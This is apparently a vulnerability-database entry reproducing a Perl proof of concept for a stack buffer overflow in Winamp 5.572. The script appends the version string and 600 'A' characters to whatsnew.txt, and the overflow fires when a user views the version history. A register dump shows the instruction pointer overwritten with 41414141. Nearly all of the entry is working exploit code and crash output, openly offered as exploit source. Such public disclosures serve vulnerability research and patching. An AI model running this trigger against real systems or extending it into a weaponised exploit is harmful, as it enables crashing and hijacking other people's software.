发布 2010-01-24 漏洞条目

Winamp 5.572 – ‘whatsnew.txt’ Stack Overflow (PoC)

Exploit Source

# Author: Debug (eldadru@gmail.com)

# Version: 5.572

# Tested on: Windows xp(sp2)

#!/usr/bin/perl

# Replace whatsnew.txt , open Winamp click Help->about winamp-> version history.

# hacking.org.il.

#EAX 00000000

#ECX 00000000

#EDX 00661658

#EBX 00000000

#ESP 00B7EDE8 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

#EBP 00B7EDFC ASCII "AAAAAAAAAAAAAAAAAAA"

#ESI 00401280 winamp.00401280

#EDI 00000000

#EIP 41414141

my $overflow="Winamp 5.572"."A"x600;

open(myfile,'>>whatsnew.txt');

print myfile $overflow;

相关漏洞条目